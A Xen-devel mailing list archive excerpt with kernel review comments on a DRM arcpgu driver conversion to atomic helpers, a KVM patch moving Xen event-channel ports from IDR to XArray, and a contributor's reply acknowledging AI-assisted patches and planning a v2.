> +	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(crtc->dev);
>   
>   	clk_disable_unprepare(arcpgu->clk);
>   	arc_pgu_write(arcpgu, ARCPGU_REG_CTRL,
> @@ -218,35 +218,106 @@ static void arc_pgu_disable(struct drm_simple_display_pipe *pipe)
>   			      ~ARCPGU_CTRL_ENABLE_MASK);
>   }
>   
> -static void arc_pgu_update(struct drm_simple_display_pipe *pipe,
> -			   struct drm_plane_state *state)
> +static void arcpgu_plane_helper_atomic_update(struct drm_plane *plane,
> +					      struct drm_atomic_commit *state)
>   {
>   	struct arcpgu_drm_private *arcpgu;
>   	struct drm_gem_dma_object *gem;
>   
> -	if (!pipe->plane.state->fb)
> +	if (!plane->state->fb)
>   		return;
>   
> -	arcpgu = pipe_to_arcpgu_priv(pipe);
> -	gem = drm_fb_dma_get_gem_obj(pipe->plane.state->fb, 0);
> +	arcpgu = dev_to_arcpgu(plane->dev);
> +	gem = drm_fb_dma_get_gem_obj(plane->state->fb, 0);
>   	arc_pgu_write(arcpgu, ARCPGU_REG_BUF0_ADDR, gem->dma_addr);
>   }
>   
> -static const struct drm_simple_display_pipe_funcs arc_pgu_pipe_funcs = {
> -	.update = arc_pgu_update,
> -	.mode_valid = arc_pgu_mode_valid,
> -	.enable	= arc_pgu_enable,
> -	.disable = arc_pgu_disable,
> -};
> -
>   static const struct drm_mode_config_funcs arcpgu_drm_modecfg_funcs = {
> -	.fb_create  = drm_gem_fb_create,
> +	.fb_create = drm_gem_fb_create,
>   	.atomic_check = drm_atomic_helper_check,
>   	.atomic_commit = drm_atomic_helper_commit,
>   };
>   
>   DEFINE_DRM_GEM_DMA_FOPS(arcpgu_drm_ops);
>   
> +static int arcpgu_plane_helper_atomic_check(struct drm_plane *plane,
> +					    struct drm_atomic_commit *state)
> +{
> +	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(state, plane);
> +	struct drm_crtc *crtc = plane_state->crtc;
> +	struct drm_crtc_state *crtc_state = NULL;
> +	int ret;
> +
> +	if (crtc)
> +		crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
> +
> +	ret = drm_atomic_helper_check_plane_state(plane_state, crtc_state,
> +						  DRM_PLANE_NO_SCALING,
> +						  DRM_PLANE_NO_SCALING,
> +						  false, false);
> +	return ret;


Return directly here.


> +}
> +
> +static const struct drm_plane_helper_funcs arcpgu_plane_helper_funcs = {
> +	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
> +	.atomic_check	= arcpgu_plane_helper_atomic_check,
> +	.atomic_update	= arcpgu_plane_helper_atomic_update,
> +};
> +
> +static bool arcpgu_plane_format_mod_supported(struct drm_plane *plane,
> +					      u32 format,
> +					      u64 modifier)
> +{
> +	return modifier == DRM_FORMAT_MOD_LINEAR;
> +}

Please remove this function. It doesn't really do anything besides DRM's 
standard behavior.

> +
> +static const struct drm_plane_funcs arcpgu_plane_funcs = {
> +	.update_plane		= drm_atomic_helper_update_plane,
> +	.disable_plane		= drm_atomic_helper_disable_plane,
> +	.destroy		= drm_plane_cleanup,
> +	.reset			= drm_atomic_helper_plane_reset,
> +	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
> +	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
> +	.format_mod_supported	= arcpgu_plane_format_mod_supported,
> +};
> +
> +static int arcpgu_crtc_helper_atomic_check(struct drm_crtc *crtc,
> +					   struct drm_atomic_commit *state)
> +{
> +	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
> +	int ret;
> +
> +	if (!crtc_state->enable)
> +		goto out;
> +
> +	ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
> +	if (ret)
> +		return ret;
> +
> +out:
> +	return drm_atomic_add_affected_planes(state, crtc);

Instead of using out, I'd rather use

 Â  if (crtc->enable) {
 Â  Â  Â  //do checks
 Â  }

 Â  return add_affected planes.

Seems more natural to me.

> +}
> +
> +static const struct drm_crtc_helper_funcs arcpgu_crtc_helper_funcs = {
> +	.mode_valid	= arcpgu_crtc_helper_mode_valid,
> +	.atomic_check	= arcpgu_crtc_helper_atomic_check,
> +	.atomic_enable	= arcpgu_crtc_helper_atomic_enable,
> +	.atomic_disable	= arcpgu_crtc_helper_atomic_disable,
> +};
> +
> +static const struct drm_crtc_funcs arcpgu_crtc_funcs = {
> +	.reset			= drm_atomic_helper_crtc_reset,
> +	.destroy		= drm_crtc_cleanup,
> +	.set_config		= drm_atomic_helper_set_config,
> +	.page_flip		= drm_atomic_helper_page_flip,
> +	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
> +	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
> +};
> +
> +static const struct drm_encoder_funcs arcpgu_encoder_funcs = {
> +	.destroy = drm_encoder_cleanup,
> +};
> +
>   static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
>   {
>   	struct platform_device *pdev = to_platform_device(arcpgu->drm.dev);
> @@ -254,6 +325,9 @@ static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
>   	struct device_node *endpoint_node = NULL;
>   	struct drm_connector *connector = NULL;
>   	struct drm_device *drm = &arcpgu->drm;
> +	struct drm_plane *plane;
> +	struct drm_encoder *encoder;
> +	struct drm_crtc *crtc;
>   	int ret;
>   
>   	arcpgu->clk = devm_clk_get(drm->dev, "pxlclk");
> @@ -301,12 +375,35 @@ static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
>   			return ret;
>   	}
>   
> -	ret = drm_simple_display_pipe_init(drm, &arcpgu->pipe, &arc_pgu_pipe_funcs,
> -					   arc_pgu_supported_formats,
> -					   ARRAY_SIZE(arc_pgu_supported_formats),
> -					   NULL, connector);
> +	plane = &arcpgu->plane;
> +	ret = drm_universal_plane_init(drm, plane, 0,
> +				       &arcpgu_plane_funcs,
> +				       arc_pgu_supported_formats,
> +				       ARRAY_SIZE(arc_pgu_supported_formats),
> +				       NULL,
> +				       DRM_PLANE_TYPE_PRIMARY, NULL);
>   	if (ret)
>   		return ret;
> +	drm_plane_helper_add(plane, &arcpgu_plane_helper_funcs);
> +
> +	crtc = &arcpgu->crtc;
> +	ret = drm_crtc_init_with_planes(drm, crtc, plane, NULL,
> +					&arcpgu_crtc_funcs, NULL);
> +	if (ret)
> +		return ret;
> +	drm_crtc_helper_add(crtc, &arcpgu_crtc_helper_funcs);
> +
> +	encoder = &arcpgu->encoder;
> +	ret = drm_encoder_init(drm, encoder, &arcpgu_encoder_funcs, DRM_MODE_ENCODER_NONE, NULL);
> +	if (ret)
> +		return ret;
> +	encoder->possible_crtcs = drm_crtc_mask(crtc);


I think plane, CRTC, and encoder should go before testing the 
encoder_node at [1].

Then comes the encoder_node test.Â  If true, do a single encoder-node 
branch,Â  or else to a single connector-based branch.Â  Â That would 
simplify the overall logic in this helper.

[1] 
https://elixir.bootlin.com/linux/v7.1.2/source/drivers/gpu/drm/tiny/arcpgu.c#L287


> +
> +	if (connector) {
> +		ret = drm_connector_attach_encoder(connector, encoder);
> +		if (ret)
> +			return ret;
> +	}
>   
>   	if (encoder_node) {
>   		/* Locate drm bridge from the hdmi encoder DT node */
> @@ -315,7 +412,7 @@ static int arcpgu_load(struct arcpgu_drm_private *arcpgu)
>   		if (!bridge)
>   			return -EPROBE_DEFER;
>   
> -		ret = drm_simple_display_pipe_attach_bridge(&arcpgu->pipe, bridge);
> +		ret = drm_bridge_attach(encoder, bridge, NULL, 0);
>   		if (ret)
>   			return ret;
>   	}
> @@ -342,7 +439,7 @@ static int arcpgu_show_pxlclock(struct seq_file *m, void *arg)
>   	struct drm_device *drm = node->minor->dev;
>   	struct arcpgu_drm_private *arcpgu = dev_to_arcpgu(drm);
>   	unsigned long clkrate = clk_get_rate(arcpgu->clk);
> -	unsigned long mode_clock = arcpgu->pipe.crtc.mode.crtc_clock * 1000;
> +	unsigned long mode_clock = arcpgu->crtc.mode.crtc_clock * 1000;

Here, mode is an obsolete field. The correct field is crtc->state->mode.

Best regards
Thomas

>   
>   	seq_printf(m, "hw  : %lu\n", clkrate);
>   	seq_printf(m, "mode: %lu\n", mode_clock);
>

-- 
--
Thomas Zimmermann
Graphics Driver Developer
SUSE Software Solutions Germany GmbH
Frankenstr. 146, 90461 NÃ¼rnberg, Germany, www.suse.com
GF: Jochen Jaser, Andrew McDonald, Werner Knoblich, (HRB 36809, AG NÃ¼rnberg)




From xen-devel-bounces@lists.xenproject.org Mon Jul 06 08:13:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 08:13:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355117.1609896 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgeSU-0001gf-4b; Mon, 06 Jul 2026 08:13:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355117.1609896; Mon, 06 Jul 2026 08:13:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgeSU-0001gY-1I; Mon, 06 Jul 2026 08:13:42 +0000
Received: by outflank-mailman (input) for mailman id 1355117;
 Mon, 06 Jul 2026 08:13:40 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <frn1furkan10@gmail.com>) id 1wgeSS-0001gS-Gd
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 08:13:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgeSR-008MIX-9U
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 10:13:39 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <frn1furkan10@gmail.com>)
 id 6a4b63a0-2eae-0a2a0a5409dd-0a2a450c8fd0-26
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 10:13:39 +0200
Received: from [209.85.221.49] (helo=mail-wr1-f49.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <frn1furkan10@gmail.com>)
 id 6a4b63b3-f399-0a2a450c0019-d155dd31b965-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 10:13:39 +0200
Received: by mail-wr1-f49.google.com with SMTP id
 ffacd0b85a97d-46ed4f66256so2467063f8f.3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 01:13:39 -0700 (PDT)
Received: from notebook.. ([85.107.101.138]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9de1d91bsm26696110f8f.4.2026.07.06.01.13.34
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 01:13:37 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783325619; x=1783930419; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to;
        bh=aU61oKG+/isTLdZ1XQnCgcZgwvZBm2Ysmmw68wcyM2U=;
        b=ZyV2bUnpBelcSuH9tTgqhcf3I/6TSxJUwsvD/sQfKo2lvLpl6By/90H/XQwa2ZEIQV
         MZTDsKzkPnK8iiAV+R+O9g7h58a/qOk71eyhwSHgmEUvbh7QVM+eJ+OsFXBksz0o1jO1
         h2Ua8/SAAalSv4TdZBbGon3sUl8Z0F7U6QI7+0jx7mVK2pY/kcZirKYjuT6Fsd8Rx3JX
         BEqFaQAafMGRNcRrOk806X/gkT/VNTR+y+esezhMbmdSD4x67mJ3n58yKy6lYKFfvHZ+
         JVoBN4fNrijy4EtZjCcXP6m4YJgDSRLN6t/aN7wOiZUjzgWOXLHQ3ZMBoh8uP41h5pb8
         CBIg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783325619; x=1783930419;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=aU61oKG+/isTLdZ1XQnCgcZgwvZBm2Ysmmw68wcyM2U=;
        b=ZeLDI42elizTJBb0QewRohfgAQmJHXN9601dctDS6nTLSE0H0J2AE/S4Vqj1z3mV0a
         60pXgYgPByde+yhKSd9wtIdktgaIE4RYrpy4/iFf9Ywbv/rMTVU/7dAkY7JNiB4EkIor
         x9ZUavK0FsfQ1Q7x+UegOCXN/G414LoasGsAkUbcd+aLyudwTo+Shc/A3vmr1LlC5/1w
         2h+p52xVPSEUMy04M2NQs+vtlFtjzc93ajuhkdTcMqombPEqutcQQrTVTW3sIlSqtmMm
         xcXRQZEeoW5APiUwajzS/2bsYcleWYM7doma+jGNH/CC96aE9UFBo4DG12q1rMKPFwjJ
         2NbQ==
X-Forwarded-Encrypted: i=1; AHgh+RqFqvIMWd58wnOQlSg2+qt3iDent57DIUyjxK31lto6PvcJ/BoAqGhZKxTPw6mMDw9F+zqk4PEBNMU=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwC4/CynJUggouyAsgKP/IxVQQwngYRN2hd6XuE2Tbt5kwBy0sL
	4srKmrA72aRjh/mZNgIp2fM1iapI094aWa16nCey8JXBx4+u365ydZjUATtRSA==
X-Gm-Gg: AfdE7cnyC1XhooeGeyehZME2puYaE1dFPk8RopOme0Wk9EnmZoQ05LTdqqmZfJYaCqF
	ABEV0AdJVbOQExd8IpRRIcOD+9ornQVGgjxcTZYrVD/VGsUcwVY2HPCw5aLXTHOnjqE4Z7J8/FU
	z1Qx2sL3cpxjD7lvhX1Z0tYXZV8niNIqE1srsh6Npb7W4YFexr6mxricK+5guHjDUyM3YPP1+dx
	TznSY3LDK1FR9E9fBl7uICcS7rVVhckCHUDCmwdHmK90MFJvi5GpQE+hsnsE306BxF0GoBRM4tK
	Ec/cZP0ojmgmFyUaNVMg6Z3HS4Orn9T3YDWLZmGJVt30CD9bMvznPfiBgRmxzb/7AoInMxusCze
	GTNfj6uVszGihcZzgFbPKtlfSusmlgKq11FGoOUedDoZxM7QrFaZg79UH//ZGEy5iJBmWTwcVFw
	i0c1MTWt14y4rWfg==
X-Received: by 2002:a05:6000:d4f:b0:45e:f8d0:d22c with SMTP id ffacd0b85a97d-47aac6d990amr7938128f8f.25.1783325618344;
        Mon, 06 Jul 2026 01:13:38 -0700 (PDT)
From: Furkan Caliskan <frn1furkan10@gmail.com>
To: linux-kernel@vger.kernel.org
Cc: kvm@vger.kernel.org,
	x86@kernel.org,
	seanjc@google.com,
	pbonzini@redhat.com,
	tglx@kernel.org,
	mingo@redhat.com,
	bp@alien8.de,
	dave.hansen@linux.intel.com,
	hpa@zytor.com,
	dwmw2@infradead.org,
	paul@xen.org,
	xen-devel@lists.xenproject.org,
	Furkan Caliskan <frn1furkan10@gmail.com>
Subject: [PATCH] KVM: x86/xen: Convert evtchn_ports from IDR to XArray
Date: Mon,  6 Jul 2026 11:13:11 +0300
Message-Id: <20260706081311.13633-1-frn1furkan10@gmail.com>
X-Mailer: git-send-email 2.34.1
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1783325619-0D128D51-6A64DFD5/0/0
X-purgate-type: clean
X-purgate-size: 5312

IDR is deprecated in favor of XArray: see
Documentation/core-api/idr.rst. Convert evtchn_ports accordingly.

kvm_xen_eventfd_assign()'s single-slot idr_alloc() becomes
xa_insert(), since it was really an insert-at-index, not an
allocation: -EBUSY replaces -ENOSPC, still mapped to -EEXIST.

kvm_xen_hcall_evtchn_send() drops its explicit rcu_read_lock(),
since xa_load() takes its own RCU read-side section internally.
evtchnfd's lifetime is still guaranteed by kvm->srcu.

xen_lock is left in place: it protects state beyond the map itself.

Signed-off-by: Furkan Caliskan <frn1furkan10@gmail.com>
---
 arch/x86/include/asm/kvm_host.h |  3 ++-
 arch/x86/kvm/xen.c              | 34 ++++++++++++++++-----------------
 2 files changed, 18 insertions(+), 19 deletions(-)

diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h
index d8700eb848b4..6c8542b32313 100644
--- a/arch/x86/include/asm/kvm_host.h
+++ b/arch/x86/include/asm/kvm_host.h
@@ -16,6 +16,7 @@
 #include <linux/irq_work.h>
 #include <linux/irq.h>
 #include <linux/workqueue.h>
+#include <linux/xarray.h>
 
 #include <linux/kvm.h>
 #include <linux/kvm_para.h>
@@ -1290,7 +1291,7 @@ struct kvm_xen {
 	bool runstate_update_flag;
 	u8 upcall_vector;
 	struct gfn_to_pfn_cache shinfo_cache;
-	struct idr evtchn_ports;
+	struct xarray evtchn_ports;
 	unsigned long poll_mask[BITS_TO_LONGS(KVM_MAX_VCPUS)];
 
 	struct kvm_xen_hvm_config hvm_config;
diff --git a/arch/x86/kvm/xen.c b/arch/x86/kvm/xen.c
index 694b31c1fcc9..754191e3bef7 100644
--- a/arch/x86/kvm/xen.c
+++ b/arch/x86/kvm/xen.c
@@ -2072,7 +2072,7 @@ static int kvm_xen_eventfd_update(struct kvm *kvm,
 
 	/* Protect writes to evtchnfd as well as the idr lookup.  */
 	mutex_lock(&kvm->arch.xen.xen_lock);
-	evtchnfd = idr_find(&kvm->arch.xen.evtchn_ports, port);
+	evtchnfd = xa_load(&kvm->arch.xen.evtchn_ports, port);
 
 	ret = -ENOENT;
 	if (!evtchnfd)
@@ -2166,13 +2166,13 @@ static int kvm_xen_eventfd_assign(struct kvm *kvm,
 	}
 
 	mutex_lock(&kvm->arch.xen.xen_lock);
-	ret = idr_alloc(&kvm->arch.xen.evtchn_ports, evtchnfd, port, port + 1,
+	ret = xa_insert(&kvm->arch.xen.evtchn_ports, port, evtchnfd,
 			GFP_KERNEL);
 	mutex_unlock(&kvm->arch.xen.xen_lock);
-	if (ret >= 0)
+	if (!ret)
 		return 0;
 
-	if (ret == -ENOSPC)
+	if (ret == -EBUSY)
 		ret = -EEXIST;
 out:
 	if (eventfd)
@@ -2187,7 +2187,7 @@ static int kvm_xen_eventfd_deassign(struct kvm *kvm, u32 port)
 	struct evtchnfd *evtchnfd;
 
 	mutex_lock(&kvm->arch.xen.xen_lock);
-	evtchnfd = idr_remove(&kvm->arch.xen.evtchn_ports, port);
+	evtchnfd = xa_erase(&kvm->arch.xen.evtchn_ports, port);
 	mutex_unlock(&kvm->arch.xen.xen_lock);
 
 	if (!evtchnfd)
@@ -2203,7 +2203,7 @@ static int kvm_xen_eventfd_deassign(struct kvm *kvm, u32 port)
 static int kvm_xen_eventfd_reset(struct kvm *kvm)
 {
 	struct evtchnfd *evtchnfd, **all_evtchnfds;
-	int i;
+	unsigned long i;
 	int n = 0;
 
 	mutex_lock(&kvm->arch.xen.xen_lock);
@@ -2213,7 +2213,7 @@ static int kvm_xen_eventfd_reset(struct kvm *kvm)
 	 * critical section, first collect all the evtchnfd objects
 	 * in an array as they are removed from evtchn_ports.
 	 */
-	idr_for_each_entry(&kvm->arch.xen.evtchn_ports, evtchnfd, i)
+	xa_for_each(&kvm->arch.xen.evtchn_ports, i, evtchnfd)
 		n++;
 
 	all_evtchnfds = kmalloc_objs(struct evtchnfd *, n);
@@ -2223,9 +2223,9 @@ static int kvm_xen_eventfd_reset(struct kvm *kvm)
 	}
 
 	n = 0;
-	idr_for_each_entry(&kvm->arch.xen.evtchn_ports, evtchnfd, i) {
+	xa_for_each(&kvm->arch.xen.evtchn_ports, i, evtchnfd) {
 		all_evtchnfds[n++] = evtchnfd;
-		idr_remove(&kvm->arch.xen.evtchn_ports, evtchnfd->send_port);
+		xa_erase(&kvm->arch.xen.evtchn_ports, evtchnfd->send_port);
 	}
 	mutex_unlock(&kvm->arch.xen.xen_lock);
 
@@ -2276,12 +2276,10 @@ static bool kvm_xen_hcall_evtchn_send(struct kvm_vcpu *vcpu, u64 param, u64 *r)
 	}
 
 	/*
-	 * evtchnfd is protected by kvm->srcu; the idr lookup instead
-	 * is protected by RCU.
+	 * evtchnfd is protected by kvm->srcu; the xa_load is RCU-safe
+	 * internally, no explicit rcu_read_lock() needed.
 	 */
-	rcu_read_lock();
-	evtchnfd = idr_find(&vcpu->kvm->arch.xen.evtchn_ports, send.port);
-	rcu_read_unlock();
+	evtchnfd = xa_load(&vcpu->kvm->arch.xen.evtchn_ports, send.port);
 	if (!evtchnfd)
 		return false;
 
@@ -2328,23 +2326,23 @@ void kvm_xen_destroy_vcpu(struct kvm_vcpu *vcpu)
 void kvm_xen_init_vm(struct kvm *kvm)
 {
 	mutex_init(&kvm->arch.xen.xen_lock);
-	idr_init(&kvm->arch.xen.evtchn_ports);
+	xa_init(&kvm->arch.xen.evtchn_ports);
 	kvm_gpc_init(&kvm->arch.xen.shinfo_cache, kvm);
 }
 
 void kvm_xen_destroy_vm(struct kvm *kvm)
 {
 	struct evtchnfd *evtchnfd;
-	int i;
+	unsigned long i;
 
 	kvm_gpc_deactivate(&kvm->arch.xen.shinfo_cache);
 
-	idr_for_each_entry(&kvm->arch.xen.evtchn_ports, evtchnfd, i) {
+	xa_for_each(&kvm->arch.xen.evtchn_ports, i, evtchnfd) {
 		if (!evtchnfd->deliver.port.port)
 			eventfd_ctx_put(evtchnfd->deliver.eventfd.ctx);
 		kfree(evtchnfd);
 	}
-	idr_destroy(&kvm->arch.xen.evtchn_ports);
+	xa_destroy(&kvm->arch.xen.evtchn_ports);
 
 	if (kvm->arch.xen.hvm_config.msr)
 		static_branch_slow_dec_deferred(&kvm_xen_enabled);
-- 
2.34.1



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 08:22:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 08:22:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355128.1609905 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgeb4-0003IQ-Tw; Mon, 06 Jul 2026 08:22:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355128.1609905; Mon, 06 Jul 2026 08:22:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgeb4-0003IJ-Ql; Mon, 06 Jul 2026 08:22:34 +0000
Received: by outflank-mailman (input) for mailman id 1355128;
 Mon, 06 Jul 2026 08:22:34 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <huang.ze@linux.dev>) id 1wgeb4-0003ID-0l
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 08:22:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgeb3-0090CM-CE
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 10:22:33 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <huang.ze@linux.dev>)
 id 6a4b65c5-bab6-0a2a0a5309dd-0a2a450cd736-12
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 10:22:32 +0200
Received: from [91.218.175.177] (helo=out-177.mta0.migadu.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <huang.ze@linux.dev>)
 id 6a4b65c8-f399-0a2a450c0019-5bdaafb148e6-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 10:22:32 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Mime-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Mon, 06 Jul 2026 16:22:24 +0800
Message-Id: <DJRCCWQOT4TA.1OPAZI88KOWLW@oss.qualcomm.com>
Cc: <dri-devel@lists.freedesktop.org>, <linux-kernel@vger.kernel.org>,
 <linux-aspeed@lists.ozlabs.org>, <linux-arm-kernel@lists.infradead.org>,
 <imx@lists.linux.dev>, <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH 0/9] drm: replace simple display pipe users with atomic
 helpers
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
From: "Ze Huang" <ze.huang@oss.qualcomm.com>
To: "Thomas Zimmermann" <tzimmermann@suse.de>, "Ze Huang"
 <ze.huang@oss.qualcomm.com>, "Alexey Brodkin" <abrodkin@synopsys.com>,
 "Maarten Lankhorst" <maarten.lankhorst@linux.intel.com>, "Maxime Ripard"
 <mripard@kernel.org>, "David Airlie" <airlied@gmail.com>, "Simona Vetter"
 <simona@ffwll.ch>, "Joel Stanley" <joel@jms.id.au>, "Andrew Jeffery"
 <andrew@codeconstruct.com.au>, "Frank Li" <Frank.Li@nxp.com>, "Sascha
 Hauer" <s.hauer@pengutronix.de>, "Pengutronix Kernel Team"
 <kernel@pengutronix.de>, "Fabio Estevam" <festevam@gmail.com>, "Linus
 Walleij" <linusw@kernel.org>, "Hans de Goede" <hansg@kernel.org>, "Alex
 Lanzano" <lanzano.alex@gmail.com>, "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com> <9612bb41-db52-4169-a7fa-e57268d69e24@suse.de>
In-Reply-To: <9612bb41-db52-4169-a7fa-e57268d69e24@suse.de>
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-d25034/1783326152-91F23D51-6D59C8EC/0/0
X-purgate-type: clean
X-purgate-size: 2782

On Mon Jul 6, 2026 at 3:27 PM CST, Thomas Zimmermann wrote:
> Hi
>
> Am 04.07.26 um 20:31 schrieb Ze Huang:
>> struct drm_simple_display_pipe was meant to simplify simple DRM
>> drivers, but instead adds an extra wrapper around normal DRM atomic
>> helper setup. As noted in Documentation/gpu/todo.rst, remaining users
>> should be converted to regular atomic helpers and stop depending on the
>> simple-KMS interfaces.
>>
>> This series converts the following drivers:
>>
>>    - arcpgu
>>    - aspeed
>>    - imx lcdc
>>    - mcde
>>    - pl111
>>    - gm12u320
>>    - repaper
>>    - tve200
>>    - xen frontend
>>
>> Each patch replaces drm_simple_display_pipe_init() with explicit
>> primary plane, CRTC and encoder setup, and moves the old simple-pipe
>> callbacks into regular plane and CRTC helper callbacks named according
>> to local driver conventions.
>>
>> The conversions preserve helper behavior that used to be implicit in
>> drm_simple_kms_helper.c, including plane-state validation, CRTC
>> primary-plane checks, affected-plane propagation, framebuffer prepare
>> handling, and existing event/vblank flow where applicable.
>>
>> Result is less helper indirection and more explicit driver-side atomic
>> wiring, with no remaining simple-KMS dependency in these drivers.
>>
>> These changes are build-tested only. No hardware testing has been
>> performed on the affected devices.
>
> Thanks a lot for the series. That's quite a nice cleanup.=C2=A0 Did you u=
se=20
> any AI to create these patches?
>

Hi Thomas,

Yes, I did. I wrote the first two conversion patches (arcpgu and
aspeed) myself to understand the migration pattern. For the remaining
drivers, I used GPT-5.5 to help with the repetitive boilerplate
conversion.

I should have reviewed the generated code more carefully before sending
the series. The sashiko-bot feedback shows that I missed several important
details, including commit-local state handling, the implicit NULL fb /
visibility checks from simple-KMS, and vblank/pageflip event ordering.
I am now going through these issues more carefully and working out the
correct fixes before sending a v2.

Do you expect AI assistance to be mentioned in the cover letter or commit
messages in some specific form? If there is a preferred tag or wording
for this, I will use it in v2.

For issues that appear to be pre-existing but are exposed or carried over
by the migration, which is better?

1. Include them as separate prep/fix patches at the beginning of the v2
series, before the corresponding conversion patches; or
2. address those pre-existing issues in a separate follow-up series?

Thanks for your time and review. :)

> Best regards
> Thomas
>

Best regards,
Ze


From xen-devel-bounces@lists.xenproject.org Mon Jul 06 08:31:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 08:31:56 +0000
